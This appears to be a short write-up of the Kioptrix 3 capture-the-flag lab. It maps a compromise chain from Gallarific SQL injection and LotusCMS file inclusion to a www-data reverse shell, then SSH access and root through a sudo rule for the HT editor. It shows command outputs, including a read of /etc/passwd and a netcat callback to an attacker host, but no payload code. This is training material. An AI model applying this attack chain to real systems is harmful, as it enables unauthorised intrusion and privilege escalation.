Offensive Security
Kioptrix 3: File Inclusion to RCE
What this showed
Reached root in the lab by moving from the web app to a shell, then SSH and an unsafe sudo rule.
What I learned
Lab notes
A few checks
Commands → results
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2
80/tcp open http Apache 2.2.8 (Ubuntu)
PHP 5.2.4 + Suhosin
[+] Hostname: kioptrix3.comgallery.dev_accounts
├── dreg:[MD5 REDACTED]
└── loneferret:[MD5 REDACTED]
[+] 6-column UNION confirmed
[+] Reusable lab accounts recoveredroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/sh
loneferret:x:1000:100:...:/home/loneferret:/bin/bash
dreg:x:1001:1001:...:/home/dreg:/bin/rbash
[+] Traversal + null-byte bypass verifiedconnect to [ATTACKER_VM] from [TARGET_VM]
Linux Kioptrix3 2.6.24-24-server i686
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-dataloneferret@TARGET_VM's password: ********
/bin/bash
uid=1000(loneferret) gid=100(users) groups=100(users)
[+] Stable interactive SSH access(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
uid=0(root) gid=0(root) groups=0(root),100(users)
/root/Congrats.txt: [PROOF REDACTED]Compromise map
Route 01
Primary web chain
- Gallarific SQLi
- Admin credential
- PHP payload as image
- LotusCMS LFI
- www-data shell
Route 02
Privilege path
- dev_accounts dump
- SSH as loneferret
- sudo -l
- HT edits protected file
- root / UID 0
Route 03
Alternate foothold
- LotusCMS page input
- PHP expression injection
- Netcat callback
- www-data shell